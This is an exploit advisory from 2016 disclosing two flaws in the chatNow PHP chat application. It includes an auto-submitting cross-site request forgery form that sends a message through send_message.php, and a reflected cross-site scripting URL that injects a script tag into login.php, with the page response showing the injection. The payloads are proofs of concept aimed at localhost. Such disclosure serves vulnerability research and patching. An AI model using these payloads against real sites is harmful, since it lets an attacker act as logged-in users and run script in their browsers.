chatNow - Multiple Vulnerabilities

# Exploit Title: chatNow - Multiple Vulnerabilities
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://chatnow.thiagosf.net/
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

1. CSRF(Send MSG)
2. Reflected XSS

========== CSRF VULNERABILITY
### Vulnerability
'send_message.php' is not check the csrf token or referer header.
It is possible CSRF Attack.

### Attack Code
<form name="csrf_poc" action="http://127.0.0.1/vul_test/chatNow/send_message.php" method="POST">
<input type="hidden" name="to_user" value="0">
<input type="hidden" name="scroll_page" value="on">
<input type="hidden" name="id_user" value="2">
<input type="hidden" name="message" value="CSRF">
<input type="hidden" name="reserved" value="false">

<input type="submit" value="Attack!">
</form>

<script type="text/javascript">document.forms.csrf_poc.submit();</script>


========== XSS VULNERABILITY
### Vulnerability
This page url is reflected data on page
It is vulnerable page because not filtered reflected url
		
### Attack code
http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1

### Response
<div id="box_login">
		<h2>chatNow</h2>
	<form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">
		<div class="block_field">
			<label for="user">Nick</label>
			<input type="text" name="user" id="user" maxlength="20" /> 
		</div>